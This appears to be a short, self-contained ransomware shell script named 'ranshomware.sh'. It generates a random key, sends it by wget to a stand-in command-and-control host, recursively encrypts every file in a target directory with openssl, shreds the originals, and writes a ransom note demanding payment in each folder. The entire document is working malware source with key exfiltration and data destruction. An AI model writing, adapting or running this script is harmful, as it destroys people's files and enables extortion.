ranshomware.sh

#!/bin/sh

key="$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 64 | head -1)"
ekey="$(echo "$key" | openssl dgst -sha512 -hex | tail -c 128)"
iv=0

wget "http://cac.example.com/?key=$key" -q -O /dev/null

function ranshomware () {
    local f;
    f="$1";
    iv=$[ $iv + 1]
    if [ -d "$f" ]; then
        for sf in "$f"/*; do ranshomware "$sf"; done;
        echo "All your files have been encrypted, pay us a lot of money to our account and we'll give them back to you. Say $ekey so we can give you the right key" > "$f"/encrypted.txt
    fi
    if [ -f "$f" ]; then
        openssl enc -e -aes-256-ctr -iv "$(printf "%032x" "$iv")" -K "$key" -in "$f" -out "$f.enc";
        shred "$f"
        mv "$f".enc "$f"
    fi;
}

ranshomware ranshomwared